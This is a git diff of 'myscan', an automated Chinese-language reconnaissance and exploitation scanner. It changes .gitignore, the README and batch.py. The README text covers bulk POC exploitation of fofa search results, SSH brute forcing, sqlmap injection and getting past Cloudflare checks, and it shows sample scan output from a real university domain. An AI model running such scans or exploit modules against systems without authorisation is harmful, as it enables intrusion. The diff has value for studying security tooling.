diff --git a/.gitignore b/.gitignore index b2d0249..b519819 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,45 @@ -# python +# myscan +test/ +log/ +spider/log +spider/pymotw.crt +exploit/script/0day/ +*_0day.py + +# git +.gitignore + +# Byte-compiled / optimized / DLL files +__pycache__/ *.py[cod] +*$py.class + +# Distribution / packaging +.Python +build/ +develop-eggs/ +eggs/ +.eggs/ +DS_Store/ +lib64/ +parts/ +sdist/ +var/ +wheels/ +*.egg-info/ + +# PyInstaller +# Usually these files are written by a python script from a template +# before PyInstaller builds the exe, so as to inject date/other infos into it. +*.manifest +*.spec + +# PyBuilder +target/ + +# idea +.idea/ + + + + diff --git a/README.md b/README.md index 68b5619..07b3ba0 100644 --- a/README.md +++ b/README.md @@ -2,29 +2,29 @@ [![Python 3.8](https://img.shields.io/badge/python-3.8-red.svg)](https://www.python.org/) -横戈安全团队 -横戈安全团队 -横戈安全团队 +Team:HengGe横戈安全团队 -author: chibd2000 +Author:chibd2000 -# 用法: +myscan是异步实现信息搜集以及漏洞利用功能的一款自动化扫描器 + +## 配置 + +环境:python3.8 + ubuntu16,其他Linux的环境和python版本未测试过 1、安装依赖包 `pip3 install -r requirements.txt` -2、配置第三方接口API +2、配置文件 -配置API:spider/common/config.py +`conf/myscan.yaml` -![api-config](img/api-config.png) +提示:效果最佳最好挂上代理,代理设置地址为 conf/myscan.yaml 中的 proxy 字段,默认代理端口为 http://127.0.0.1:1080 -3、设置最大文件描述符限制 +![config](img/config.png) -运行环境:linux centos7 + py3.8 - -这里自己再说下为什么要在linux上面跑,python的asyncio是基于selectors事件循环的windows上的文件描述符限制量为512实在是太少了,所以要跑的话都放在linux上面(默认为1024),并且跑的时候最好改下文件描述符 +3、设置最大文件描述符限制 在 Linux 平台,可以使用 ulimit 命令来修改最大文件描述符限制: @@ -39,362 +39,175 @@ author: chibd2000 * soft nofile 65536 ``` -4、记得挂代理,因为部分接口都需要翻墙,代理设置地址为 core/setting.py 中的 HTTP_PROXY 字段 - -![proxy1](img/proxy.png) - -5、脚本运行: `python3 batch.py -d zjhu.edu.cn` - -信息搜集测试域名:zjhu.edu.cn - -结果相关域名资产大概255,里面会包括部分隐藏资产IP之类的,该域名搜集时间加上数据清洗和整理,总共花费7分钟。 - -![spider](img/spider.jpg) - -说明:这个脚本纯属自用,只是开源到github上,要用的话一般的用法下面中都有讲到 - -# 构建信息搜集/漏洞扫描 - -## 信息搜集 - -- 1-DNS枚举查询(ksubdomain)子域名 (默认没开起来,要开的话自己在代码里面改下,batch.py 418行) - -- 2-百度/Bing关键词查询子域名 - -- 3-fofa/shodan/quake/hunter整合查询子域名 - -每个空间引擎搜集到的资产都会有点不一样,所以就是整合多个来进行合并,提高覆盖率,到时候好方便观察。 - -默认都会存储空间引擎查询到的所有端口(防止后面的端口扫描有可能没扫到,添加容错率), -然后和之后的端口扫描出来的结果一起整合,最后在服务扫描模块中一起进行探测利用。 - -默认语法关键字查询如下 - -1) domain="test.com" +## 使用 -2) host="test.com" +### 默认使用 -3) cert="test.com" +`python3 batch.py -d zjhu.edu.cn -k -ws -cs -ss -o` -4) icon_hash="-1227431955" - -- 4-ctfr证书查询子域名 +### 自定义功能使用 -- 5-第三方接口查询子域名 +-k 配合ksubdomain进行搜集 -ws信息搜集 -cs 搜集完的域名进行扫描POC -ss 搜集完的端口服务进行扫描POC -o是输出 -这里面的一些error是正常的,我这里没有隐藏掉,然后一些接口有cloudflare验证,比如bufferover接口,自己的方法是通过获取一批代理IP然后批量 -访问它,从而实现绕过cloudflare的验证 +-fs 支持单独fofa关键词进行搜集 -m 指定模块进行测试 一般用来写完POC来进行测试正确性,当然其他的用途都是可以的 -![gather](img/gather-third.png) +-i 指定ip,可以单个也可以多个(逗号分隔即可),支持CIDR格式扫描,如果-i 没有指定 -p的话,那么默认就是扫描top100的端口 -- 6-github查询子域名 +-p 指定ip扫描的端口,可以单个也可以多个(逗号分隔即可),也支持范围(比如1-70,则是1-70个端口) -- 7-子域名查询IP +-cs 如果不带 -m 的话,那么默认扫描的就是所有的POC,指定带上了 -m 的话则指定POC -方便用于后面的信息搜集,HOSTS碰撞之类的就需要用到相关的内网地址所对应的域名信息 +-fn 指定POC中的detect函数或者exec函数,直接单独只进行detect或者exec, -fn detect 或者 -fn exec -- 8-IP反查子域名 +-s 展示所有已有的POC模块 -![ip-to-domain](img/ip2domain.png) +-f 搜索对应关键字的POC模块 -- 9-nmap指纹库socket异步探测开放端口服务,top100高危端口,并发量200,一个C段扫描时间为3分钟 +还有一些参数没有说到,如果大家觉得可以的话还可以看下 -h ,看看命令行参数的提示 -![portscan](img/portscan.png) - -- 10-子域名友链查询子域名 - -![friend](img/friend.png) - -- 11-添加域名整理字符串相似匹配度 - -在资产挖掘中,有基于服务预测域名(landgrey作者写的域名预测工具) 还有域名枚举(seay作者写的layer工具)的,我觉得通过域名匹配,然后再其中发现 -规律也是一种方法,然后这里就用difflib库来进行探测匹配,来匹配下相似度,然后之后就可以用相关脚本在有规律性的点中进行fuzz,而且自己挖src的 -时候这种方法也能探测出很多的资产来,所以自己可能觉得也是一种方法 - -![fuzz](img/domain_fuzz.png) - -- 12-爱企查查询(对外投资,控股公司,分支架构,备案) - -这个默认没有在 -d 参数中进行跑,需要手动运行如下命令: - -`python3 batch.py -d result.com -cn 横戈信息安全有限公司` - -![company](img/company1.png) - -![company](img/company2.png) - -中间环节 - -- 12、探测存活,整理数据,如下格式所示 ``` -# 资产IP+端口格式 - -[+] [ipPortList] [280] [{'ip': '202.103.147.144', 'port': [8080, 8090]}, {'ip': '125.19.57.134', 'port': []}, {'ip': '58.60.230.103', 'port': [8000, 2000]}, {'ip': '202.103.147.169', 'port': [25]}] - -# 端口服务扫描格式 - -[+] [ipPortServiceList] [20] [{'service': 'http', 'ip': ['47.110.217.169:8080', '47.113.23.213:8080', '58.251.27.73:8080', '113.98.59.166:8080', '63.221.140.244:8080', '47.254.137.137:8080', '58.251.27.73:9000']}, {'service': 'bgp', 'ip': ['58.60.230.102:179']}, {'service': 'https-alt', 'ip': ['47.110.217.169:8443', '47.96.196.50:8443']}, {'service': 'osiris', 'ip': ['103.27.119.242:541']}, {'service': 'cisco-sccp', 'ip': ['58.60.230.103:2000']}, {'service': 'redis', 'ip': ['127.0.0.1:6377']}, {'service': 'smtp', 'ip': ['202.103.147.169:25', '202.103.147.161:25', '63.217.80.70:25', '202.103.147.172:25']}, {'service': 'ssl/http', 'ip': ['47.52.122.123:8443']}, {'service': 'http-proxy', 'ip': ['222.134.66.173:8080', '222.134.66.177:8080']}] - -# 存储可注入探测参数列表(相似度对比) - -[+] [gParamsList] [24] ['http://supporthk.zjhu.xxx.cn/support/news/NewsMain.aspx?type=CenterProfile', 'http://mobdl.support.xxx.edu.cn/support/EReadFiles/AppReleaseDownload/chapter_en.htm?v=5'] - -# 存储js文件中的js敏感接口 - -[+] gJavaScriptParamList = [] - -# 存储资产IP区段分布以及资产IP在指定的区段出现的次数 - -[+] [gIpSegmentList] [228] [{'ipSegment': '183.232.187.0/24', 'ip': ['183.232.187.210', '183.232.187.201', '183.232.187.197'], 'num': 3}, {'ipSegment': '218.2.178.0/24', 'ip': ['218.2.178.29', '218.2.178.22', '218.2.178.23', '218.2.178.21', '218.2.178.15', '218.2.178.14', '218.2.178.27', '218.2.178.32'], 'num': 8}] - -# ASN记录 - -[+] [gAsnList] [28] [9498, 11419, 3356, 14618, 45090, 3491, 4134, 58541, 45102, 58543, 15169, 58952, 36937, 9929, 37963, 4812, 4808, 17621, 17623, 23650, 4837, 56040, 132203, 1267, 7160, 16509] - -# 显示/隐形资产IP - -[+] [gIpList] [343] ['183.232.187.210', '218.2.178.29', '103.27.119.242', '59.83.221.138', '111.3.79.208', '61.132.54.18', '58.60.230.102', '47.92.49.128', '58.60.230.42'] - -# 显示/隐形资产域名 - -[+] [domainList] [522] ['b2bprodhk.xxx.com.cn', 'out2.xxx.com.cn', 'topicscn.xxx.com.cn', '18.184.132.222:443', 'ilearning.xxx.com.cn', '47.75.103.207:443', 'sslsfshct.xxx.com.cn', 'pantheon-akamaigs1.wpc.edgecastcdn.net.xxx.com.cn', 'support.xxx.com.cn', 'mx10.xxx.com.cn', 'ca.xxx.com.cn', '47.92.49.128', 'guide.xxx.com', 'mx5.xxx.com.cn', '39.98.88.177:443', 'xxxtcm.xxx.com.cn', '47.111.170.47', 'apimes.sc.xxx.com.cn'] +# python3 batch.py -d test.com -k -ws +# python3 batch.py -d test.com -k -ws -cs +# python3 batch.py -d test.com -k -ws -cs -ss +# python3 batch.py -d test.com -k -ws -cs -ss -o ``` -## 漏洞扫描 - -### CMS框架漏洞 - -- 集成了大概100+个poc - -利用的时候,可以先通过列举相关的poc,然后指定poc来进行测试 - -`python3 batch.py -m exploit` - -![poc](img/show-poc.png) - -- 单域名探测单/多个poc - -`python3 batch.py -u 172-18-0-44-8080.AAA.BBB.cn -m exploit.web.Apache.Shiro.550 -cs` - -![cmscan](img/url-single-cmscan.png) - -`python3 batch.py -u 172-18-0-44-8080.AAA.BBB.cn -m exploit.web.Apache.Shiro.550,exploit.web.Apache.Sentry.unauth_ssrf -cs` - -![cmscan](img/url-multi-cmscan.png) - -- 配合fofa批量探测 - -单个poc:`python batch.py -fs app=\"XXXXX\" -m exploit.web.Meeting.v2Conference.sql_inject -cs` - -![cmscan](img/fofa-cmscan-1.png) - -默认所有poc:`python batch.py -fs app=\"XXXXX\" -cs` - -![cmscan](img/fofa-cmscan-2.png) - -### 端口服务漏洞 - -用于探测一些中间件的未授权和敏感端口的弱口令以及部分可能存在的反序列化端口,比如RMI log4j Dubbo之类的 - -一个C段端口扫描默认TOP100 + 服务漏洞扫描 总共3分钟,因为是快速漏洞利用的脚本,个人推荐就是扫描TOP100就足够了 -脚本里面并发量可以自定义。如果真的想要准确的扫描端口,建议还是挂着masscan+nmap配合进行扫描 - -- 支持单网段 + 服务漏洞扫描 - -`python3 batch.py -i 120.XX.XX.0/24 -p top100 -ss` - -![C-servicescan](img/c-single-portscan-servicescan.png) - -- 支持单ip + 服务漏洞扫描 - -`python3 batch.py -i 120.79.66.XX -p top100 -ss` - -![C-servicescan](img/ip-single-portscan-servicescan.png) - -- 支持多网段/多IP + 服务漏洞扫描 - -`python3 batch.py -i 120.79.XX.0/24,120.79.XX.0/24 -p top100 -ss` - -`python3 batch.py -i 1.1.1.1, 2.2.2.2 -p top100 -ss` - -### SQL注入漏洞 - -- 通过sqlmap来进行探测,根据sqlmap来判断是否存在注入,用的方法是langzi的方法,参考文章在下面 - -![sqlscan](img/scan-sql.png) - -#设计的思维导图 - -个人感觉整体架构写的其实不是很好,可能是在写的过程中,想法同样也会发生变化,当后面觉得前面不完善的时候,又需要强行插入一些东西,看起来就十分的僵硬,还是有很多需要学习的地方。 - -#总结: - -1、学习python编写代码 - -2、感谢ske大师兄和其他人的项目,前人栽树,后人乘凉 - -3、虽然说是造轮子,但是自己觉得对于自己来说还是有收获的 - -![xmind](img/Myscan.png) - -#参考的项目和文章: - -1、https://xz.aliyun.com/t/9508 - -2、https://www.t00ls.net/viewthread.php?tid=62399 - -3、https://github.com/0x727/ShuiZe_0x727/ - -4、https://github.com/shmilylty/OneForAll - -5、https://github.com/laramies/theHarvester - -6、https://github.com/knownsec/ksubdomain - -7、https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzI0NzEwOTM0MA==&action=getalbum&album_id=1368680445315235841 - -8、http://www.langzi.fun/Sqlmap%E9%80%9F%E6%9F%A5%E8%A1%A8%E4%B8%8EPython%E8%BF%9B%E8%A1%8C%E5%8A%9F%E8%83%BD%E7%A7%BB%E6%A4%8D.html - -9、http://mp.weixin.qq.com/s?__biz=Mzg4MzY3MTgyMw==&mid=2247483720&idx=1&sn=5449ed47b74cf892c01eb8833b59c952&chksm=cf429728f8351e3eee7387ca85c79a705ae68122509484d49bc278e24c9de4e22ef0080dc0c8&mpshare=1&scene=23&srcid=1114LGKgJqRAT9xqFA9s2BwC&sharer_sharetime=1636911890316&sharer_shareid=1b35adb1b046ef1a6379932d3eabbaf8#rd - -10、https://github.com/sqlmapproject/sqlmap - -## ❗(bugs) and 📑(suggestions) - -~~1、基于请求数据的时候实现进度可视化,比如进度条~~(已实现) - -![process](img/process.png) - -~~2、基于fofa指定关键词 -> 利用POC探测,有时候新写的POC需要待验证,这时候都可以用到FOFA之类的来进行采取测试~~(已实现) - -3、基于C段 -> 利用探测,指定IP段多资产存活需要进行单独探测 - -~~4、portSpider portWrapper类还没实现~~(已实现) - -![portwrapper](img/portwrapper.png) - -~~5、github域名爬取还没实现~~(已实现) - -![exp-github](img/github.png) - -~~6、微信小程序爬取还没实现~~(已实现) - -![exp-wx](img/wxProgram.png) - -~~7、企业公司相关爬取还没实现(通过爱企查)~~(已实现) - -8、探测存活的时候没有爬取相关JS敏感接口信息 参考jsfinder 接口参数爬取和子域名搜集 - -~~9、exploit web利用模块补充~~(已实现) - -![exp-module](img/expModule.png) - -~~10、单域名 漏洞指定模块探测~~(已实现) - -![url-exploit](img/urlExploit.png) - -11、HOST碰撞 - -自己在挖掘src的时候碰到过很多,也同样撞出过挺多的资产,考虑要不要写进去,自己用HOST碰撞的时候都是用ffuf感觉这个速度很快,并且很准确,这个用 -的就挺好的... - -~~12、优化CMS扫描(对于同类型多EXP的探测进行优化,加快总扫描速度)~~ (已完成) - -这里要优化的是什么? - -那么漏洞利用的时候就会分成两种情况 - -1) 一个系统对应的漏洞只有一个EXP - -2) 一个系统对应的漏洞有多个EXP - -因为自己写的一个Script类(利用模块类)它每次在进行漏洞利用之前都会先探测下目标是不是为指定的系统框架,是的话才会进行payload利用。 - -所以这两种情况在当前的漏洞利用的过程中,如果是类型为“一个系统对应的漏洞有多个EXP”的时候,它在利用之前每次都会对对方先进行探测, -而此时为“一个系统对应的漏洞有多个EXP”,那么就会造成每次漏洞利用之前先进行探测的请求的数量就会多上(同种漏洞模块的数量-1)*当前所有要检测的域名数量, -明明只需要第一次进行探测的时候知道了是这个系统,那么后面的同类型利用模块它每次就会跳过CMS识别,直接进行漏洞利用,这里优化的就是这个情况。 - -FOFA上搜索的1000条域名数据测试,没优化之前的总EXP扫描速度为48分钟,目前为40分钟,写的还是不好,之后慢慢改好了,之后随着时间慢慢往上面改。 - -2021.11.27 16.51 1000条域名 110个poc 探测时间为32分钟 - -~~13、一些BUG~~(已完成) - -~~第一个问题: writeFile 有时候会出现的异常~~ ``` - File "/root/myscan/spider/BingSpider.py", line 24, in writeFile - workbook = openpyxl.load_workbook(abs_path + str(self.domain) + ".xlsx") - File "/usr/local/python3/lib/python3.8/site-packages/openpyxl/reader/excel.py", line 245, in load_workbook - ws_parser.parse() - File "/usr/local/python3/lib/python3.8/site-packages/openpyxl/reader/worksheet.py", line 124, in parse - for _, element in it: - File "/usr/local/python3/lib/python3.8/xml/etree/ElementTree.py", line 1229, in iterator - data = source.read(16 * 1024) - File "/usr/local/python3/lib/python3.8/zipfile.py", line 939, in read - data = self._read1(n) - File "/usr/local/python3/lib/python3.8/zipfile.py", line 1007, in _read1 - data += self._read2(n - len(data)) - File "/usr/local/python3/lib/python3.8/zipfile.py", line 1042, in _read2 - raise EOFError -EOFError +# python3 batch.py -fs "title=\"系统管理\"" -cs +# python3 batch.py -fs "title=\"系统管理\"" -m exploit.a.b -cs +# python3 batch.py -fs "title=\"系统管理\"" -m exploit.a.b,exploit.c.d -cs ``` -~~第二个异常: 需要代理接口的请求 需要捕获异常~~ - -`aiohttp.client_exceptions.ClientProxyConnectionError` - -![bug2](img/bug_proxy.png) - -~~14、springboot的actuator探测脚本存在误报性 (之前src有个站点误报)~~(已完成) - -~~15、指纹EXP如下补充~~(已完成) - -~~- 添加信呼OA指纹~~ 参考文章:https://www.t00ls.cc/viewthread.php?tid=63279 - -~~- 添加Panabit指纹~~ - -~~- 添加小鱼易连视频会议系统~~ - -~~- 添加会捷通云视讯指纹~~ - -~~- 添加SonarQube指纹~~ - -~~13、github项目 Common 和 Exploit 和 Spider 都可以去掉~~(已完成) - -~~16、SQL注入自动化探测(已完成)~~ - -- sql相似度匹配 参考文章:http://mp.weixin.qq.com/s?__biz=Mzg4MzY3MTgyMw==&mid=2247483720&idx=1&sn=5449ed47b74cf892c01eb8833b59c952&chksm=cf429728f8351e3eee7387ca85c79a705ae68122509484d49bc278e24c9de4e22ef0080dc0c8&mpshare=1&scene=23&srcid=1114LGKgJqRAT9xqFA9s2BwC&sharer_sharetime=1636911890316&sharer_shareid=1b35adb1b046ef1a6379932d3eabbaf8#rd - -- 脚本链接通过sqlmap探测 参考文章:http://www.langzi.fun/Sqlmap%E9%80%9F%E6%9F%A5%E8%A1%A8%E4%B8%8EPython%E8%BF%9B%E8%A1%8C%E5%8A%9F%E8%83%BD%E7%A7%BB%E6%A4%8D.html - -~~17、aiossh爆破的提示关闭,优化命令行窗口~~(已完成) +``` +# python3 batch.py -u test.com -cs +# python3 batch.py -u test.com -m exploit.a.b -cs +# python3 batch.py -u test.com -m exploit.a.b, exploit.c.d -cs +``` -~~18、发现servicescan进度条的bug,有时候会发现进度条没有慢就已经结束了~~(已完成) +``` +# python3 batch.py -i 127.0.0.1 +# python3 batch.py -i 127.0.0.1 -p 9001 +# python3 batch.py -i 127.0.0.1 -p 9001,9002,9003 +# python3 batch.py -i 127.0.0.1 -p 9001-9005 +``` -~~19、Alivespider模块代码改良下,其中的每个功能点可以单独定义类外函数 然后在Alivespider中进行调用~~(已完成) +``` +# python3 batch.py -i 127.0.0.1 -cs +# python3 batch.py -i 127.0.0.1 -m exploit.a.b -cs +# python3 batch.py -i 127.0.0.1 -m exploit.a.b,exploit.c.d -cs +# python3 batch.py -i 127.0.0.1 -m exploit.a.b -cs -ss +# python3 batch.py -i 127.0.0.1 -m exploit.a.b,exploit.c.d -cs -ss +``` -20、添加代理请求的命令行参数 +``` +# python3 batch.py -i 127.0.0.1 -p 9001 -m exploit.a.b -cs +# python3 batch.py -i 127.0.0.1 -p 9001 -m exploit.a.b,exploit.c.d -cs +# python3 batch.py -i 127.0.0.1 -p 9001 -m exploit.a.b -cs -ss +# python3 batch.py -i 127.0.0.1 -p 9001 -m exploit.a.b,exploit.c.d -cs -ss +``` -21、log4j指纹添加到端口banner中 +``` +# python3 batch.py -i 127.0.0.1 -p 9001,9002,9003 -m exploit.a.b -cs +# python3 batch.py -i 127.0.0.1 -p 9001,9002,9003 -m exploit.a.b,exploit.c.d -cs +# python3 batch.py -i 127.0.0.1 -p 9001,9002,9003 -m exploit.a.b -cs -ss +# python3 batch.py -i 127.0.0.1 -p 9001,9002,9003 -m exploit.a.b,exploit.c.d -cs -ss +``` -~~22、将相关的爬取的脚本参数进行存储excel(之前都没进行存储)~~(已完成) +``` +# python3 batch.py -i 127.0.0.1 -p 9001-9005 -m exploit.a.b -cs +# python3 batch.py -i 127.0.0.1 -p 9001-9005 -m exploit.a.b,exploit.c.d -cs +# python3 batch.py -i 127.0.0.1 -p 9001-9005 -m exploit.a.b -cs -ss +# python3 batch.py -i 127.0.0.1 -p 9001-9005 -m exploit.a.b,exploit.c.d -cs -ss +``` -~~23、添加域名整理字符串相似匹配度,方便FUZZ~~(已完成) +``` +# python3 batch.py -uf url.txt -cs +# python3 batch.py -uf url.txt -m exploit.a.b -cs +# python3 batch.py -uf url.txt -m exploit.a.b,exploit.c.d -cs +``` -在资产挖掘中,有基于服务预测域名(landgrey作者有写过一个域名预测) 还有域名枚举的,我觉得通过域名匹配,然后再其中发现规律也是一种方法,然后 -这里就用difflib库来进行探测匹配,来匹配下相似度,然后之后就可以用相关脚本在有规律性的点中进行fuzz,而且挖src的时候这种方法也能探测出很多 -的资产来,所以自己觉得也是一种方法 +``` +# python3 batch.py -if ip.txt -cs +# python3 batch.py -if ip.txt -m exploit.a.b -cs +# python3 batch.py -if ip.txt -m exploit.a.b,exploit.c.d -cs +# python3 batch.py -if ip.txt -cs -ss +# python3 batch.py -if ip.txt -m exploit.a.b -cs -ss +# python3 batch.py -if ip.txt -m exploit.a.b,exploit.c.d -cs -ss +``` -![fuzz](img/domain_fuzz.png) +![config](img/run.png) -~~24、接口添加~~(已完成) +### POC编写格式 -~~- 添加censys接口~~ +提示:`self.priority = 1`,这个字段比较重要,如果当前目录下A,B,C有多个模块的话,那么如果扫描的时候想用B模块扫描,为了减少扫描量和准确性那么只需要在B模板中加上`self.priority = 1`字段即可,否则A,B,C三个模块都会被加载 -~~- 添加hunter奇安信接口~~ +``` +# coding=utf-8 +# @Author : zpchcbd HG team +# @Blog : https://www.cnblogs.com/zpchcbd/ +# @Time : 2021-09-08 16:30 +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> +# @warn: <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> + +from exploit.scripts import BaseScript +from core.data import gLogger +from core.myenums import BugLevel, BugType +from core.request.asynchttp import * + + +class Script(BaseScript): + name = 'XXXX' + + def __init__(self, target): + super().__init__() + # target + self.target = target + # level + self.bug_level = BugLevel.HIGH + # 类型 + self.bug_type = BugType.RCE + # 编号 + self.bug_number = 'bugNumber' + # 来源 + self.bug_refer = 'refer' + # 特定路径判断 + self.detect_path_list = ['/detectPath'] + # exec + self.exec_path_list = ['/execPath'] + # priority + self.priority = 1 + # 相关信息 + self.info = 'information about the bug info' + + async def detect(self): + async with aiohttp.ClientSession() as session: + for detect_path in self.detect_path_list: + url = f'http://{self.target}{detect_path}' if self.target.startswith(('http:', 'https:')) is False else f'{self.target}{detect_path}' + text = await AsyncFetcher.fetch(session=session, url=url, headers=self.headers, timeout=self.req_timeout) + if 'something about keywords in the scripts' in text: + self.flag = True + gLogger.myscan_info('[{} {}] {}'.format(self.name, BugType.FINGER, url)) + return {'name': '{} {}'.format(self.name, BugType.FINGER), 'url': url, 'software': self.name} + + async def exec(self): + async with aiohttp.ClientSession() as session: + for exec_path in self.exec_path_list: + url = f'http://{self.target}{exec_path}' if self.target.startswith(('http:', 'https:')) is False else f'{self.target}{exec_path}' + text = await AsyncFetcher.fetch(session=session, url=url, headers=self.headers, timeout=self.req_timeout) + if 'something about keywords in the scripts' in text: + gLogger.myscan_info('[{} {}] {}'.format(self.name, self.bug_type, url)) + return {'name': '{} {}'.format(self.name, self.bug_type), 'url': url, 'software': self.name} -~~25、filterCDN方法添加(为后面的portscan节省时间,如果的cdn网段的ip进行端口扫描的话是无意义的)~~(已完成) +``` -~~26、flushIpSegment方法修改(原本清洗数据时间太长,这个方法改了可以缩短清洗数据的时间)~~(已完成) -~~27、信息搜集完的数据防止遗失,都会通过logger类来进行保存在log目录下进行保存~~(已完成) diff --git a/batch.py b/batch.py index 25cc92f..f00cc64 100644 --- a/batch.py +++ b/batch.py @@ -2,832 +2,20 @@ # @Author : zpchcbd HG team # @Blog : https://www.cnblogs.com/zpchcbd/ # @Time : 2020-11-23 20:45 - -# core from core.public import * -from core.module.modulemanager import ModuleManager -from core.module.moduleloader import ModuleLoader -from core.parser.ipsunet import ipInSubnet -from core.utils.differ import DifferentChecker -from core.utils.PortWrapper import PortWrapper -from core.log.logger import Logger -from core.variablemanager import GlobalVariableManager -# common -from core.constant import ModulePath, FILTER_CDN_ASN_LIST, FILTER_CDN_IPSEGMENT_LIST -from common import resolve -# spider -from spider.BeianSpider import BeianSpider -from spider.BaiduSpider import BaiduSpider -from spider.BingSpider import BingSpider -from spider.CtfrSpider import CtfrSpider -from spider.NetSpaceSpider import NetSpider -from spider.StructSpider import CompanyStructSpider -# from spider.DnsBruteSpider import * -# from spider.DnsDataSpider import * -from spider.PortSpider import PortScan -from spider.GithubSpider import GithubSpider -from spider.ip2domainSpider import Ip2domainSpider -from spider.FriendChainsSpider import FriendChainsSpider -from spider.AliveSpider import AliveSpider -# exploit -from exploit.CmsExploit import CmsScan -from exploit.ServiceExploit import PortServiceScan -from exploit.SQLExploit import SqlScan -# from exploit.AliveScan import * -# from exploit.IpUnauthExploit import * -# from exploit.HttpUnauthExploit import * - -from threading import Thread, Lock -import argparse -import importlib +from core.data import path_dict +from core.init import parser_init, path_init, global_variable_init, config_init +from core.go import start version = sys.version.split()[0] if version < "3": - exit( - "[-] Incompatible Python version detected ('%s'). For successfully running program you'll have to use version " - "3 (visit 'http://www.python.org/download/')" % version) - -if sys.platform == 'win32': - asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) - -# if sys.platform == 'win32': -# loop = asyncio.ProactorEventLoop() -# asyncio.set_event_loop(loop) - -abs_path = os.getcwd() + os.path.sep # 路径 -# gPortRegister = [] # 存储用于portSpider模块中要扫描的端口 -gParserConfig = {} - -gDomainList = [] # 用来存储所有匹配到的子域名和一些隐形资产 -gDomainAliveList = [] -gIpPortServiceList = [] -gWebParamsList = [] # 存储可注入探测参数列表 ["http://www.baidu.com/?id=1111*"] -gLogger = Logger('./log/logs.txt') - - -# Spider -class Spider(object): - def __init__(self, domain): - self.threadList = [] # 线程启动列表 - self.ipSegmentList = [] # 存储资产IP区段分布以及资产IP在指定的区段出现的次数 [{"111.111.111.0/24":1},{"111.111.222.0/24":1}] - self.asnList = [] # ASN记录 - self.ipList = [] # 用来统计gIpSegmentDict - self.ipPortList = [] # 存储端口+服务 - self.topDomainList = [] # 存储顶级域名记录 @ske - self.javaScriptParamList = [] # 存储js文件中的js敏感接口 @小洲师傅 - self.domain = domain - self.clearTaskList = [] # 存储整理过后的域名 [{"subdomain": "www.zjhu.edu.cn","ip": "1.1.1.1","port":[7777,8888]}] - self.lock = Lock() - # self.moduleLoader = ModuleLoader() - - # beian spider - def beianSpider(self): - gLogger.info("BeianSpider Start") - beian = BeianSpider(self.domain) - loop = asyncio.get_event_loop() - asyncio.set_event_loop(loop) - loop.run_until_complete(beian.main()) - - # github spider - def ksubdomainSpider(self): - gLogger.info("KSubdomainSpider Start") - global gDomainList - ksubdomainList = [] - ksubdomain_folder = './ksubdomain' - ksubdomain_file = '{}/{}.txt'.format(ksubdomain_folder, self.domain) - os.system('./ksubdomain/ksubdomain -d {} -o {}'.format(self.domain, ksubdomain_file)) - try: - with open(ksubdomain_file, 'rt') as f: - for each_line in f.readlines(): - each_line_split = each_line.split('=>') - subdomain = each_line_split[0].strip() # 子域名 - ksubdomainList.append(subdomain) - os.remove(ksubdomain_file) # 删除临时文件 - print('[+] [{}] [{}] {}'.format('ksubdomain', len(ksubdomainList), ksubdomainList)) - gDomainList.extend(ksubdomainList) - except Exception as e: - ksubdomains = [] - - # baidu Spider - def baiduSpider(self): - gLogger.info("BaiduSpider Start") - global gDomainList - baidu = BaiduSpider(self.domain) - loop = asyncio.new_event_loop() - asyncio.set_event_loop(loop) - resList = loop.run_until_complete(baidu.main()) - self.lock.acquire() - gDomainList.extend(resList) - self.lock.release() - - # bing Spider - def bingSpider(self): - gLogger.info("BingSpider Start") - global gDomainList - bing = BingSpider(self.domain) - loop = asyncio.new_event_loop() - asyncio.set_event_loop(loop) - resList = loop.run_until_complete(bing.main()) - self.lock.acquire() - gDomainList.extend(resList) - self.lock.release() - - # third Spider - def thirdSpider(self): - gLogger.info("ThirdSpider Start") - global gDomainList - sys.path.append(abs_path + ModulePath.THIRDLIB) - thirdModuleList = filter(lambda x: (True, False)[x[-3:] == 'pyc' or x[-5:] == '__.py' or x[:2] == '__'], - os.listdir(abs_path + ModulePath.THIRDLIB)) - - async def do(future, domain): - loop = asyncio.get_running_loop() - res = await loop.create_task(future) - return res - - loop = asyncio.get_event_loop() - asyncio.set_event_loop(loop) - taskList = [] - for _ in thirdModuleList: - module = importlib.import_module(_[:-3]) - if hasattr(module, 'do'): - doMethod = getattr(module, 'do') - # do(doMethod, self.domain) - taskList.append(loop.create_task(doMethod(self.domain))) - resList = loop.run_until_complete(asyncio.gather(*taskList)) - for _ in resList: - self.lock.acquire() - gDomainList.extend(_) - self.lock.release() - - # ssl Spider - def ctfrSpider(self): - gLogger.info("CtfrSpider Start") - global gDomainList - cftr = CtfrSpider(self.domain) - loop = asyncio.new_event_loop() - asyncio.set_event_loop(loop) - t = loop.create_task(cftr.main()) - resList = loop.run_until_complete(t) - self.lock.acquire() - gDomainList.extend(resList) - self.lock.release() - - # github spider - def githubSpider(self): - gLogger.info("GithubSpider Start") - global gDomainList - github = GithubSpider(self.domain) - loop = asyncio.new_event_loop() - asyncio.set_event_loop(loop) - t = loop.create_task(github.main()) - resList = loop.run_until_complete(t) - self.lock.acquire() - gDomainList.extend(resList) - self.lock.release() - - # FOFA/Shodan/Quake360 - def netSpider(self): - gLogger.info("NetSpider Start") - global gDomainList - net = NetSpider(self.domain) - loop = asyncio.new_event_loop() - asyncio.set_event_loop(loop) - t = loop.create_task(net.main()) - resList, self.asnList, self.ipList, self.ipPortList = loop.run_until_complete(t) - self.lock.acquire() - gDomainList.extend(resList) - self.lock.release() - - # 友链爬取 - def friendChainsSpider(self): - gLogger.info("FriendChainsSpider Start") - global gDomainList - # queue = asyncio.Queue(-1) - # for domain in self.domainList: - # queue.put(domain) - friend = FriendChainsSpider(self.domain, gDomainList) - 